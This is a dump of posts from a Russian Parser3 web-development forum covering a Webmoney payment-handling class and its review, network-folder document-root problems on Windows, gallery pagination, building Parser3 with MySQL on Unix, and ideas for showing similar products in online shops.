 `wmtransfer_id` bigint(20) unsigned NOT NULL auto_increment,\
 `invoice_id` bigint(20) unsigned NOT NULL default '0',\
 `order_id` int(10) unsigned NOT NULL default '0',\
 `dt` datetime NOT NULL default '0000-00-00 00:00:00',\
 `sum` decimal(9,2) unsigned NOT NULL default '0.00',\
 `mode` tinyint(1) unsigned NOT NULL default '0',\
 `payee_purse` varchar(13) NOT NULL default '',\
 `payer_purse` varchar(13) NOT NULL default '',\
 `payer_wmid` varchar(12) NOT NULL default '',\
 `paymer_number` varchar(255) NOT NULL default '0',\
 `paymer_email` varchar(31) NOT NULL default '',\
 `telepat_phone` varchar(31) NOT NULL default '',\
 `telepat_order_id` varchar(255) NOT NULL default '0',\
 PRIMARY KEY  (`wmtransfer_id`)\
) TYPE=MyISAM[/code]\
\
Собственно, класс. Причесывал для публикации вслепую, поэтому могут быть мелкие баги.\
\
[code]@CLASS\
Webmoney\
\
\
\
@auto[]\
$tCheck[^table::create{name\
LMI_PAYEE_PURSE\
LMI_PAYMENT_AMOUNT\
LMI_PAYMENT_NO\
LMI_MODE\
LMI_SYS_INVS_NO\
LMI_SYS_TRANS_NO\
LMI_SYS_TRANS_DATE\
LMI_SECRET_KEY\
LMI_PAYER_PURSE\
LMI_PAYER_WM}]\
#end @auto[]\
\
\
\
@create[hParams]\
$oSql[$hParams.oSql]\
$sSecretKey[$hParams.sSecretKey]\
#end @create[]\
\
\
\
@getTransfer[hParams]\
$result[^oSql.table{\
	SELECT\
		wmtransfer_id AS id,\
		invoice_id,\
		order_id,\
		dt,\
		sum,\
		mode,\
		payee_purse,\
		payer_purse,\
		payer_wmid,\
		paymer_number,\
		paymer_email,\
		telepat_phone,\
		telepat_order_id\
	FROM\
		wmtransfer\
	WHERE\
		1\
		^if(def $hParams.transfer_id){\
			AND wmtransfer_id = ^math:round(^hParams.transfer_id.double(0))\
		}\
}]\
#end @getTransfer[]\
\
\
\
@beforeInsert[hData][sHash]\
$hData.LMI_SECRET_KEY[$sSecretKey]\
$sHash[^math:md5[^tCheck.menu{$hData.[$tCheck.name]}]]\
^hData.delete[LMI_SECRET_KEY]\
^if($sHash ne ^hData.LMI_HASH.lower[]){\
	^throw[Webmoney;$hData.LMI_HASH;Wrong hash, maybe hacking attempt]\
}\
#end @beforeInsert[]\
\
\
\
@insertTransfer[hData]\
^self.beforeInsert[$hData]\
^oSql.void{\
	INSERT IGNORE INTO wmtransfer (\
		wmtransfer_id,\
		invoice_id,\
		order_id,\
		dt,\
		sum,\
		mode,\
		payee_purse,\
		payer_purse,\
		payer_wmid,\
		paymer_number,\
		paymer_email,\
		telepat_phone,\
		telepat_order_id\
	) VALUES (\
		^rem{ wmtransfer_id might exceed int limit }\
		^math:round(^hData.LMI_SYS_TRANS_NO.double(0)),\
		^math:round(^hData.LMI_SYS_INVS_NO.double(0)),\
		^hData.LMI_PAYMENT_NO.int(0),\
		'$hData.LMI_SYS_TRANS_DATE',\
		^hData.LMI_PAYMENT_AMOUNT.double(0),\
		^hData.LMI_MODE.int(0),\
		'$hData.LMI_PAYEE_PURSE',\
		'$hData.LMI_PAYER_PURSE',\
		'$hData.LMI_PAYER_WM',\
		'$hData.LMI_PAYMER_NUMBER',\
		'$hData.LMI_PAYMER_EMAIL',\
		'$hData.LMI_TELEPAT_PHONENUMBER',\
		'$hData.LMI_TELEPAT_ORDERID'\
	)\
}\
#end @insertTransfer[]\
\
\
\
@beforeUpdate[hData]\
^self.beforeInsert[$hData]\
#end @beforeUpdate[]\
\
\
\
@updateTransfer[hData]\
^self.beforeUpdate[$hData]\
^oSql.void{\
	UPDATE\
		wmtransfer\
	SET\
		invoice_id = ^math:round(^hData.LMI_SYS_INVS_NO.double(0)),\
		order_id = ^hData.LMI_PAYMENT_NO.int(0),\
		dt = '$hData.LMI_SYS_TRANS_DATE',\
		sum = ^hData.LMI_PAYMENT_AMOUNT.double(0),\
		mode = ^hData.LMI_MODE.int(0),\
		payee_purse = '$hData.LMI_PAYEE_PURSE',\
		payer_purse = '$hData.LMI_PAYER_PURSE',\
		payer_wmid = '$hData.LMI_PAYER_WM',\
		paymer_number = '$hData.LMI_PAYMER_NUMBER',\
		paymer_email = '$hData.LMI_PAYMER_EMAIL',\
		telepat_phone = '$hData.LMI_TELEPAT_PHONENUMBER',\
		telepat_order_id = '$hData.LMI_TELEPAT_ORDERID'\
	WHERE\
		^rem{ wmtransfer_id might exceed int limit }\
		wmtransfer_id = ^math:round(^hData.LMI_SYS_TRANS_NO.double(0))\
}\
#end @updateTransfer[]\
\
\
\
@htmlWebmoneyForm[hData]\
<form action='https://merchant.webmoney.ru/lmi/payment.asp' method='post'>\
<input name='LMI_PAYEE_PURSE' type='hidden' value='$hData.payee_purse'/>\
<input name='LMI_PAYMENT_AMOUNT' type='hidden' value='$hData.sum'/>\
<input name='LMI_PAYMENT_NO' type='hidden' value='$hData.order_id'/>\
<input name='LMI_PAYMENT_DESC' type='hidden' value='$hData.purpose'/>\
<input name='LMI_SIM_MODE' type='hidden' value='$hData.mode'/>\
<input name='LMI_SUCCESS_URL' type='hidden' value='$hData.success_url'/>\
<input name='LMI_SUCCESS_METHOD' type='hidden' value='^if($hData.success_method eq GET){0;1}'/>\
<input name='LMI_FAIL_URL' type='hidden' value='$hData.fail_url'/>\
<input name='LMI_FAIL_METHOD' type='hidden' value='^if($hData.fail_method eq GET){0;1}'/>\
<table class='form'>\
<tr><td>Номер заказа:</td><td>$hData.order_id</td></tr>\
<tr><td>Сумма для оплаты:</td><td>$hData.sum $hData.currency</td></tr>\
<tr><td>Назначение платежа:</td><td>$hData.purpose</td></tr>\
<tr><td></td><td><input type='submit' value='Далее &gt;&gt;'/></td></tr>\
</table>\
</form>\
#end @htmlWebmoneyForm[][/code]"
"63919","- @getTransfer -- очень не нравится, что при определённых входных параметрах может достать ВСЁ\
\
- @beforeInsert -- по моему можно не мухлевать с добавлением/удалением LMI_SECRET_KEY, а просто подписать его значение вне menu (в начало или в конец).\
\
- там-же: по моему лучше у menu добавить разделитель. без него в некоторых случаях будет одинаковая md5 у разных данных"
"63920","1. Согласен.\
2, 3. [url=https://merchant.webmoney.ru/conf/guide.asp#integrity]Формат контрольной подписи[/url] задаётся Webmoney, если его изменить, то хеш не сойдётся с тем, который приходит в уведомлении о платеже.\
\
К сожалению, сейчас я практически не работаю с парсером, поэтому допилку класса оставляю всем желающим :-)"
"63927","Никак не могу до конца понять, есть ли разница в способе написания - ^oSql.table{ и ^table::sql{. И если есть - какой способ более правильный.\
\
С одной стороны, запросы на обновление данных в таблице всё-равно получаются ^oSql.void{INSERT...}. По аналогии с ними хочется писать запросы типа $t_news[^oSql.table{SELECT FROM news}]. С другой стороны, ^table::sql, ^int::sql тоже не зря придуманы, значит, вроде как их лучше использовать.\
\
Как же правильнее? Спасибо!"
"63928","Грубо говоря, это одно и тоже. Просто ^oSql.table{} делает немного больше работы нежели чем просто извлекает данные из БД как ^table::sql{}. Прочитайте http://www.parser.ru/examples/sql/ может станет понятнее за чем все это было придумано."
"63929","^oSql.table требует подключения специальных мишиных классов из примеров и предоставляет несколько расширенный интерфейс взаимодействия с БД. ^table::sql{ и тп. это нативные методы парсера для обращения к базе. Посмотрев исходники sql классов вы их внутри и увидите. Так что ваш вопрос несколько некорректен тк и в случае ^oSql.table{ все равно используется ^table::sql{\
\
С вашим уровнем понимания парсера я бы посоветовал использовать как вы пишете ^oSql.table{ и пока не заморачиваться насчет механизма его работы."
"63930","У меня есть нетрадиционная потребность делать под виндовс DocumentRoot в сетевой папке.\
\
Апач 2 хавает \\\\host\\folder без вопросов и мило показывает всякие картинки и robots.txt\
\
Парсер 3.2.1 преобразует это дело к //host/folder и деловито твердит, что c:/parser/parser.cgi///host/folder/index.html ни одного раза не найден\
\
Может это и не парсер преобразует, но по крайней мере $env:DOCUMENT_ROOT у него именно такой. \
\
$request:document-root в конфигурационном файле и в @conf и в @auto ни на что не влияет\
\
Замаппить папку в сетевой диск дает какой-то странный результат. \
В браузер вместо результата вываливается какой-то html с серверными директивами, которые нифига не обрабатываются (могу скопировать сюда, если надо).\
\
Есть ли способ побороть? Мой запас плясок иссяк, а бубен порвался."
"63931","Подерживает ли Парсер СУБД Firebird?"
"63932","Спасибо. Я действительно, хоть и довольно активно использую парсер, некоторых тонкостей не понимаю. Можно ещё один вопрос, возникший при попытке перейти на новый oSql?\
\
до изменения класс подключался таким образом\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]] и мог быть вызван в любом пользовательском классе: $news[^MAIN:pSQL.sql[table]{.\
\
Теперь же мы в корневом auto.p создаём $oSql[^MySql::create[$SQL.connect-string]], и уже не можем написать в _любом_ (в данном случае - в подключаемом классе) месте $news[^oSql.table{. Внутри класса news объект $oSql просто не существует. Есть ли для той ситуации какое-то правильное решение (мне тупо приходит в голову топорное передавание объекта $oSql при вызове класса: $o_news[^news::load[$.oSql[$oSql]]]?\
\
Спасибо!"
"63933","как назвать объект, через который будут делаться sql запросы: pSQL или oSql -- дело исключительно ваше. мне сначало нравилось pSQL, сейчас -- oSql, именно поэтому так в примерах. для обратной совместимости, чтобы не переделывать кучу кода можно оставить и старый вариант:\
[code]\
$oSql[^MySql::create[...]]\
# backward\
$pSQL[$oSql]\
[/code]\
при этом случае оба объекта будут указывать на одну сущность да и правок существующего кода не потребуется. при этом не важно через какой из этих объектов будут делаться sql запросы: метод вывода статистики в файл учтёт всё.\
\
при написании в корневом auto.p $MAIN:pSQL и $pSQL означают одно и то-же, т.к. текущий контекст выполнения кода корневого auto.p -- MAIN.\
\
из любого класса можно обратиться к объекту класса MAIN просто дописав этот префикс. т.е. после изменений в любом подключаемом классе вы можете или писать ^MAIN:oSql... или передать подключаемому классу объект oSql и обращаться к нему без префикса MAIN. кстати второй вариант я считаю не топорным, а правильным.\
\
^oSql.sql[table]{ и ^oSql.table{ -- одно и тоже, только второй способ написания короче, потому и рекомендуется к использованию."
"63934","возможно кто-то сделал, как сделали драйвер для interbase и sqlite (последний уже в cvs/download).\
\
может быть вы сможете работать с Firebird через ODBC драйвер, однако последний есть только для платформы win32."
"63936","Ой, простите, не дочитал чуть-чуть.\
\
Так вот, я сейчас навскидку попробовал замапить — всё видится."
"63937","[code]@photo_obj[]\
//определяем ID по объекту в базе данных\
$str[$request:uri] \
$id_information[^str.mid(16;17)]\
\
#Соединяемся с БД и выбираем только те записи где объект равен опредленному выше айдишнику\
^connect[$connect_string]{$photo[^table::sql{select id, idd, obj_id, id_info, comment, photo from photo where obj_id=$id_information}]}\
№подсчитываю количество строк в таблице (щитаются только те где объект определен)\
$kol[^photo.count[]]\
$kol\
\
$scroller[^scroller::create[\
        $.path_param[id]\
        $.table_count[$kol]\
        $.number_per_section[4]\
        $.section_per_page[5]\
        $.type[page_end]\
        $.r_selector[]\
        $.l_selector[]\
        $.divider[]\
        $.r_divider[]\
        $.l_divider[]\
        ]\
    ]\
#Строим меню\
<table width=100%>\
<tr>\
^photo.menu{\
<td>      \
    ^if(^photo.line[] >= $scroller.record_number && ^photo.line[] <= ($scroller.record_number + \
\
$scroller.number_per_section - 1)){<img src=/info/images/$photo.id_info'$photo.obj_id/$photo.photo><br>$photo.id_info - $photo.obj_id - $photo.id}\
}    \
\
#пояснеия по поводу строчки <img src=/info/images/$photo.id_info'$photo.obj_id/$photo.photo>\
# $photo.id_info - это категория объекта\
# $photo.obj_id - это номер объекта в категории\
# $photo.photo - имя фотки\
 \
</td>     \
</tr>\
</table>\
\
<center>^scroller.draw[]</center>[/code]\
\
а теперь проблема:\
как сделать так чтобы скроллер выводил те данные категория которая мне нужна.\
так получается что когда я считаю количество записей в строке то она считает то количество объекты которых определены\
исходя из условия where obj_id = id_information (который равен допустим 10)\
т.е. получается что я считаю количество строк где объект равен 10\
от этого сбивается принадлежность ID к ID\
\
что можно с этим сделать ?"
"63938","1. Есть таблицы: site, site_to_lang.\
В первой есть поле \"lang_id\" (язык по умолчанию), так вот вопрос, кроме остальных привязанных языков к сайту, запись о языке по умолчанию также хранится в site_to_lang?\
Бывает ли в site.lang_id указан язык с ID: 255 или в таблице site_to_lang находится связка с языком 255?\
2. Судя по:\
[quot]\
К каждому объекту мы можем привязать XSL шаблон...\
[/quot]\
то бывают такие объекты, у которых не указан шаблон?\
Тогда какие данные выводятся при заходе на данный объект?\
Полный XML указанный в описании под номером 21?"
"63940","can not connect to host \"www.typograf.ru\": Permission denied (13)\
\
load\
\
/virt/homes/petroff/htdocs/test/index.html(3)\
\
exception.type=http.connect"
"63941","1а. нет, я халявщик и не стал хранить \"язык по умолчанию\" в lang (хотя уже пожалел об этом). но привязки в lang_to_block и object_text к этому языку я храню (запросы проще).  \
1б. очевидно, что такого не бывает. сайт должен указывать на конкретный язык.\
2. если не привязан xslt шаблон, то по моему очевидно, что выдаётся xml %-). что конкретно выдаётся сейчас -- я не помню (возможный максимум, т.к. по сравнению с содержимым блоков/навигацией -- это мелочи). да и какая разница, когда можно легко перекрыть метод, выдающий эту информацию и доработать до конкретной задачи? (хотя я не помню, когда перекрывали именно этот метод)"
"63942","я извиняюсь но некотрые ссылки там битые\
Вскоре Agat-у потребовались другие возможности и он дополнил пример, оформив его в класс\
\
http://crimnet.invex.ru/scroller/"
"63943","На все запросы, включая статические вылазит вот такая хрень\
[code]\
\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\
<HTML>\
<HEAD>\
<TITLE><!--#echo var=\"TITLE\" --></TITLE>\
<LINK REV=\"made\" HREF=\"mailto:<!--#echo encoding=\"none\" var=\"SERVER_ADMIN\" -->\">\
</HEAD>\
<BODY BGCOLOR=\"#FFFFFF\" TEXT=\"#000000\" LINK=\"#0000CC\">\
<H1><!--#echo encoding=\"none\" var=\"TITLE\" --></H1>\
<DL>\
<DD>\
[/code]"
"63944","возможно Eugene тоже, и именно поэтому он сразу отослал вас к примерам и все.\
\
тем не менее в случае использования любого scroller нам нужно делать два запроса: первый -- для получения общего количества записей (возможно в вашем случае общего количества записей по конкретной категории), и второй -- для получния записей, отображаемой на выбранной странице (вариант получения всех данных одним запросом и дальнейший разбор их скриптом не рассматриваю, как рессурсоёмкий на больших объемах данных)\
\
в вашем коде запрос один. этого недостаточно.\
\
возможно для лучшего понимания происходящего вам стоит взглянуть на пример другого скроллера (мой). может то объяснение вам поможет. этот скроллер не имеет такого количества настроек и не может некоторые вещи, которые может скроллер от Eugene, но общий смысл их функционирования одинаковый."
"63945","Я вот сейчас даже без мапа на диск попробовал.\
Ввёл $request:document-root[//server/www] — заработало с первого раза...\
\
Расскажите по шагам, как переносите document-root, давайте вместе подумаем :)"
"63946","это прокси или файерволл. Может, парсер туда просто не пускают?"
"63947","Пример на моей странице далек от вашего http://www.spearance.ru/parser3/scroller/text/\
\
Однако в коде это может выглядеть ещё и так:\
[code]\
\
$scroller[^scroller::crate[...параметры...\
$.table_count(^int:sql{запрос})\
...параметры...\
]]\
$photo[^table::sql{...запрос...}[$.offset($scroller.offset)$.limit($scroller.limit)]]\
^if($photo){^photo.menu{...вывод...}}[/code]"
"63948","имеем: виндовс икспи, апач 2\
никаких файрволов не присутствует (все вообще сидит на одном компе в виртуальной машине)\
в конфиге апача:\
\
[code]\
<VirtualHost *>\
    ServerAdmin anti@fridas.ru\
    DocumentRoot \"\\\\\\\\.host\\Shared Folders\\Sites\\test\"\
    ServerName test.test.ru\
    ErrorLog c:\\Web\\Apache2\\logs\\test_error.log\
    CustomLog c:\\Web\\Apache2\\logs\\test_access.log common\
    ScriptAlias /cgi-bin/ \"c:\\web\\cgi-common/\"\
    SetEnv CGI_PARSER_CONFIG c:\\web\\cgi-common\\parser3.2.1\\auto-fix.p\
    AddHandler parsed-html .html\
    Action parsed-html /cgi-bin/parser3.2.1/parser3.cgi\
</VirtualHost> \
[/code]\
\
auto-fix.p\
=======\
@conf[filespec]\
$request:document-root[\\\\.host\\Shared Folders\\Sites\\test\\]\
\
@unhandled_exception_debug\
document_root = | $request:document-root | $env:DOCUMENT_ROOT/<br />\
\
Запрос\
http://test.test.ru\
\
дает\
\
C:/Web/cgi-common/parser3.2.1///.host/Shared Folders/Sites/test/index.html\
read failed: No such file or directory (2), actual filename 'C:/Web/cgi-common/parser3.2.1///.host/Shared Folders/Sites/test/index.html'\
document_root = | \\\\.host\\Shared Folders\\Sites\\test | //.host/Shared Folders/Sites/test/"
"63949","вобщем немного подумав разобрался, но проблему так и не решил, получается так что у меня условие должно соответстовать двум критериям.\
\
Щас код немного переделал, чтобы показать смысл.\
есть переменная которая указывает на отбор записей в таблице\
[code]$id_information[obj_id=75 and id_info=10][/code]\
id_info - это ID объекта который формируется из главного меню (каждый пункт меню имеет свой ID это он и есть in_info)\
\
obj_id - это объект который находится в том самом меню, т.е. получается такая древовидная структура.\
\
есть ли способ определения этих двух переменных ?\
если я их смогу узнавать в зависимости от го в какой директории я нахожусь то тот код скроллера который ниже будет работать. я использую скроллер от Eugene\
\
как вы видите в примере, я указал эти переменные вручную сответственно 10 и 75\
10 - это номер пункта в меню\
75 - это номер объетка в под меню. т.е. получается что для объекта 75 есть куча фоток и их нужно вывести.\
структура таблицы такая\
id   id_info obj_id  photo\
1    10      75      name1.jpg\
1    10      75      name2.jpg\
1    09      60      name1.jpg\
1    08      01      name1.jpg\
\
вот в принцыпе и все.\
\
\
[code]\
^connect[$connect_string]{$photo[^table::sql{select id, obj_id, id_info, comment, photo, big from photo where $id_information}]}\
$kol[^photo.count[]]\
\
$scroller[^scroller::create[\
        $.path_param[no]\
        $.table_count[$kol]\
        $.number_per_section[4]\
        $.section_per_page[7]\
        $.type[page_end]\
        $.r_selector[]\
        $.l_selector[]\
        $.divider[]\
        $.r_divider[]\
        $.l_divider[]\
        ]\
    ]\
    \
<center>Всего $kol фотографий<br><br> \
<table width=10% border=0 cellspacing=\"1\" cellpadding=\"3\" bgcolor=orange>\
<tr>\
^photo.menu{\
    ^if(^photo.line[] >= $scroller.record_number && ^photo.line[] <= ($scroller.record_number + \
\
$scroller.number_per_section - 1)){\
<td bgcolor=ffffff width=100%><img src=/info/images/$photo.id_info'$photo.obj_id/$photo.photo>\
<br>^if(def $photo.big){<A href=/info/images/$photo.id_info'$photo.obj_id/$photo.big target=blank>увеличить</A>}\
<br>$photo.id_info - $photo.obj_id - $photo.id}\
</td>}\
</tr>\
</table>\
\
\
^scroller.draw[]</center> [/code]"
"63950","и я и Eugene вам сказали что должно быть _два разных_ sql запроса, и именно вам предстоит написать их (у вас сейчас он один).\
\
больше мы помочь вам не можем (ну, может конечно Eugene захочет вникать в вашу идеологию, разбираться в вашем коде и доделывать его для ваших нужд за вас, но я -- не захочу)."
"63951","Забавно, но у меня в $env:DOCUMENT_ROOT тоже слеши заменены. Тем не  менее, всё открывается...\
А почему у вас настройках апача четыре слеша?"
"63953","А какая версия апача у вас?\
Открываются именно файлы, обработанные парсером?\
\
Про четыре слэша: не знаю зачем это, но так работает, а с двумя - нет."
"63954","Внимание, вопрос: если парсер собрался (в свою папку parser3install, тыры-пыры), может ли это означать, что он работоспособен? (gcc 4.1 собирал, head). Вроде везде все настроил, а не работает -- уж и не знаю на кого грешить."
"63956","Apache 2.2.3\
Сетевую папку видит почему-то и с 2-мя слэшами.\
\
PARSER_VERSION 	3.2.1sp2 (compiled on i386-pc-win32)\
Парсер установлен не в сетевую папку, а туда же, где апач.\
\
Обрабатывает файлы на раз."
"63958","Как оказалось, это он так выводил свою серверную ошибку. В еррор лог при этом шла запись о file not found"
"63960","Позволю себе открыть новую тему. Уж очень надо, а Пафа все нет.\
\
В конфигурационном auto.p у меня написано\
\
[code]\
@conf\
$request:document-root[C:\\Web\\www-test]\
\
@unhandled_exception_debug\
document_root = | $request:document-root | $env:DOCUMENT_ROOT/<br />\
[/code]\
\
Сервер - Apache 2.2.6 под Windows, в настройках виртуального хоста прописан некий путь к сетевой папке. Но сейчас суть не в этом, а в том что у меня почему-то игнорируется установка $request:document-root. При запросе страницы вываливается ошибка \
\
read failed: No such file or directory (2), actual filename 'C:/Web/cgi-common/parser3.2.1///.host/Shared Folders/Sites/r-n-d/test/_test.html'\
\
\
document_root = | C:\\Web\\www-test | //.host/Shared Folders/Sites/r-n-d/test/\
\
Может быть надо прописать эту магическую строчку куда-нибудь в другое место?"
"63961","В логах пишет следующее.. \
[Tue Dec 18 12:00:31 2007] [error] [client xxx.xxx.xxx.xxx] Premature end of script headers: /vhosts/test/www/cgi-bin/parser3.cgi, что бы это могло значить ?"
"63962","Что parser3.cgi залит в text mode вместо binary.\
Или что залит parser3.cgi для BSD в Linux.\
Или что залит parser3.cgi для Linux в BSD.\
Или что залит не до конца."
"63965","* а это зачем? (я с никсами на Вы);\
* [offtopic] теперь апач тупит, ругается на строку Actions в конфиге, а без нее парсер не прописать, я так понимаю. (ругань идет на отсутствие модуля на сервере -- видимо mod_actions? -- тогда как его поставить?)\
\
уфф. :-("
"63966","Он мне ответил на ./parser3.cgi:\
\
[code]\
Parser/3.2.2b (compiled on i686-pc-linux-gnu)\
Copyright(c) 2001-2007 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
[/code]\
\
т.е. дело в настройке апача? (то что в моих кривых руках, это я и так знаю :-)"
"63967","были упоминания о том, что сборка была успешной на x64, однако сам парсер ещё не готов для этого (некоторые вещи точно работать не будут, да и как сборка прошла для меня загадка). проверка работоспособности показала, что многие вещи не работают.\
\
после сборки неплохо выполнить тесты (актуально только при сборке версии с поддержкой xml):\
\
cd tests\
make tests\
\
если тесты прошли, то это является некой гарантией работоспособности большей части функционала."
"63968","Продолжаю тему, начавшуюся [url=\"http://www.parser.ru/forum/?id=63788\"]здесь[/url].\
\
Во многих магазинах бывает выводятся на странице просмотра товара еще и список подобных товаров, на некоторых это просто часть остальных товаров с той же категории, на некоторых одинаковые/похожие по внешнему виду, но с разными характеристиками товары.\
Первый вариант в реализации прост, а вот второй не уверен (основываясь на мою структуру БД).\
\
В голове есть один вариант. Это создать таблицу где будет хранится список отношений товаров к товару и процент их схожести, тогда можно будет выводит как подобные, так и противоположные товары.\
Но мне кажется данный вариант немного сумасшедший.\
\
Можете кто-то задумывался на данным вопросом?"
"63970","Хотя бы\
1. дополнительные теги\
2. \"покупавшие это купили также\"\
\
А идея и вправду сумасшедшая, если руками похожесть вносить.\
Можно создать одну статистическую таблицу с кучей параметров и по ней строить"
"63972","Т.е. я сам указываю в тегах товары, которые похожы на данный?\
\
Если так, то это не то, что я задумываю.\
Я думаю о динамических товарах, определяемые в процентном соотношении схожести, к примеру на 80% похожи по характеристикам, разные или нет по внешнему виду."
"63973","а идея с тегами не так и плоха: про- матчить/сплитить список тегов из дополнительного поля - не так и сложно"
"63974","imho такая похожесть практического смысла имеет немного.\
\
вот смотрю я какой-нить телефон. такой робот в качестве похожего вывалит кучу товаров, которые меня не интересуют совершенно (например я не рассматриваю определённых производителей или раскладушки). кроме того из вываленного списка мне нужно будет все равно зайти в каждый продукт и понять, устраивает он меня или нет. на втором неустраивавшим меня по банальным причинам я забью на это и вернусь к форме детализированного поиска.\
\
возможно имеет смысл реализация, когда человек будет как-то определять что один продукт похож на другой. как именно -- я не представляю (по каким критериям -- тоже не представляю). \
\
однако если это будет делать человек, то для того, чтобы он не перестал это делать на втором-же продукте, надо максимально упростить механизм указания похожести.\
\
придумать что-либо конечно можно. например для каждого продукта как-то помечаются те параметры, которые участвуют в поиске похожих и для них указывается как именно происходит сравнение. например при поиске материнской платы очевидно, что разъем процессора должен точно соотв. текущему (хотя не факт что это верно для всех), а цена наверное должна лежать в каком-то диапазоне от заданного. но опять-же человек должен как-то задавать это.\
однако это сильно всё усложнит, и не факт что все равно будет кем-то использоваться.\
\
я считаю что т.к. такой механизм практически невозможно (ил очень сложно) сделать (и поддерживать) удобным и логичным, то не стоит тратить силы на его создание. вместо него лучше потратить их на реализацию детализированного поиска или аналога гуру на яндекс маркете."
"63975","Выбирать из описаний продукта характерные слова (минус стоп-слова, естественно)\
по ним иориентироваться.\
Плюс, как подсказывает Михаил, можно сделать еще мастер подбора продукции. \
\
Телефоны -  раскладушки - с камерой 2 Мп - \
получаем кучу всего"
"63976","выдвигаю то, что он любит повыше в списке. :)"
"63977","А те магазины, где это есть, показывают, как правило, полную чушь, которая пользователю, например, мне, абсолютно не нужна."
"63978","Да он неплох и достаточно юзабелен. Но почему не добавить к нему плюсов? Надо стремиться писать гибкие самообучаемые системы.\
И я поддерживаю BeaVe, поднявшего вопрос."
"63979","Это не я там привёл его как пример. Я лично предпочитаю некий баланс между сайтом производителя, price.ru, iBazaar, мнением знакомых.\
\
А по поводу топика, так выбор не большой, как мне кажется. Либо вводить тонну параметров руками и тогда результат будет адекватным, но будет элемент ошибки человека. Либо делать всё автоматически, но результат может быть и непредсказуемым, и с элементом ошибки ЭВМ."
"63981","Странность вот в чем, я устанавливаю парсер по FreeBSD, если по умолчанию стоит пользователь www и все работает нормально, как только ставлю права другому пользователю и появляется такая запись в логах..."
"63982","посмотрите на amazon и убедитесь, что серьёзные дядьки по исследуемому вами пути не пошли. Видимо, слишком сложно и нетривиально, да и гешефт мелкий выходит.\
\
Сделайте лучше [i]\"вместе с этим товаром чаще всего берут это:\"[/i]\
\
Не факт, что телефон выбирается по имеющемуся у вас в базе параметру (мегапикселам, аккумулятору и т.п.) - а не по субъективным, типа \"хочу красненький и округлый\". Не пытайтесь угнаться за такими онкими материями - просто попробуйте предложить к телефону bluetooth-гарнитуру в довесок или чехольчик."
"63983","возможно в логе suexec найдется ответ\
[code]find / -name suexec*[/code]"
"63984","типо они самые продвинутые технологии сейчас используют.\
пообщаюсь - напишу отчет :)"
"63985","А их там явно не один человек."
"63986","./configure хочет valid MySql includes directory. Что это? Как найти этот каталог? в /usr/include/ нет каталога mysql.\
[url=\"http://www.parser.ru/forum/?id=56352\"]то же самое, без ответа[/url]\
(mysql, естественно, поставил)"
"63987","в вашем случае это исходники mysql. в них есть каталог с требующимися файлами."
"63988","Подскажите, пожалуйста, как сделать, чтобы данные из формы попадали в базу MySQL \"чистыми\" ?"
"63990","[code]\
Making install in libltdl\
make[1]: Entering directory `/home/paul/src/parser3/parser3_compile/sql/mysql/libltdl'\
make[2]: Entering directory `/home/paul/src/parser3/parser3_compile/sql/mysql/libltdl'\
/bin/bash ./../mkinstalldirs /home/paul/parser3install/lib\
/bin/bash ./../mkinstalldirs /home/paul/parser3install/include\
make[2]: Leaving directory `/home/paul/src/parser3/parser3_compile/sql/mysql/libltdl'\
make[1]: Leaving directory `/home/paul/src/parser3/parser3_compile/sql/mysql/libltdl'\
make[1]: Entering directory `/home/paul/src/parser3/parser3_compile/sql/mysql'\
if ./libtool --mode=compile g++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/home/paul/src/mysql5/mysql-5.0.45/include    -g -O2 -MT parser3mysql.lo -MD -MP -MF \".deps/parser3mysql.Tpo\" -c -o parser3mysql.lo parser3mysql.C; \\\
        then mv -f \".deps/parser3mysql.Tpo\" \".deps/parser3mysql.Plo\"; else rm -f \".deps/parser3mysql.Tpo\"; exit 1; fi\
g++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/home/paul/src/mysql5/mysql-5.0.45/include -g -O2 -MT parser3mysql.lo -MD -MP -MF .deps/parser3mysql.Tpo -c parser3mysql.C  -fPIC -DPIC -o parser3mysql.lo\
In file included from parser3mysql.C:20:\
/home/paul/src/mysql5/mysql-5.0.45/include/mysql.h:67:27: error: mysql_version.h: No such file or directory\
parser3mysql.C: In member function 'virtual void MySQL_Driver::connect(char*, SQL_Driver_services&, void**)':\
parser3mysql.C:171: error: 'MYSQL_PORT' was not declared in this scope\
make[1]: *** [parser3mysql.lo] Ошибка 1\
make[1]: Leaving directory `/home/paul/src/parser3/parser3_compile/sql/mysql'\
make: *** [install-recursive] Ошибка 1\
[/code]\
\
* может чего дополнительного надо поставить?\
* mysql_version.h нет, но есть mysql_version.h.in\
* MYSQL_PORT? Нутром чую, что 3306, как его объявить?\
\
[b]UPDATE:[/b]\
Поменял MYSQL_PORT в parser3mysql.c на 3306 + переименовал mysql_version.h.in в mysql_version.h:\
\
[code]\
In file included from /home/paul/src/mysql5/mysql-5.0.45/include/mysql.h:68,\
                 from parser3mysql.C:20:\
/home/paul/src/mysql5/mysql-5.0.45/include/mysql_com.h:306:5: error: token \"@\" is not valid in preprocessor expressions\
In file included from parser3mysql.C:20:\
/home/paul/src/mysql5/mysql-5.0.45/include/mysql.h:303:74: error: token \"@\" is not valid in preprocessor expressions\
make[2]: *** [parser3mysql.lo] Ошибка 1\
make[2]: Leaving directory `/home/paul/src/parser3/parser3_compile/sql/mysql'\
make[1]: *** [all-recursive] Ошибка 1\
make[1]: Leaving directory `/home/paul/src/parser3/parser3_compile/sql/mysql'\
make: *** [all] Ошибка 2\
[/code]\
\
собирал (т.е. пытался собрать) [url=\"http://www.parser.ru/forum/?id=45317\"]так[/url]."
"63991","просто так переименовать h.in в .h наверное нельзя, скорее всего при сборке mysql из исходников этот in сам переименовывается + в него вносятся правки.\
\
правили порт в .C вы зря, вы боролись со следствием, а не с причиной. надо сделать так, чтобы появится правильный .h для вашей системы от mysql, после этого все соберётся.\
\
я в сборке под *nix не силён, возможно как сделать правильно вам подскажут другие.\
\
в разделе скачать у mysql есть кучка разностей, в том числе \"Libraries and header files\". возможно если вы возьмёте подобное для своей ОС (если оно есть), то все сразу решится. если для вашей ОС этого нет, то наверное надо почитать их INSTALL и понять, как \"собрать\" header files."
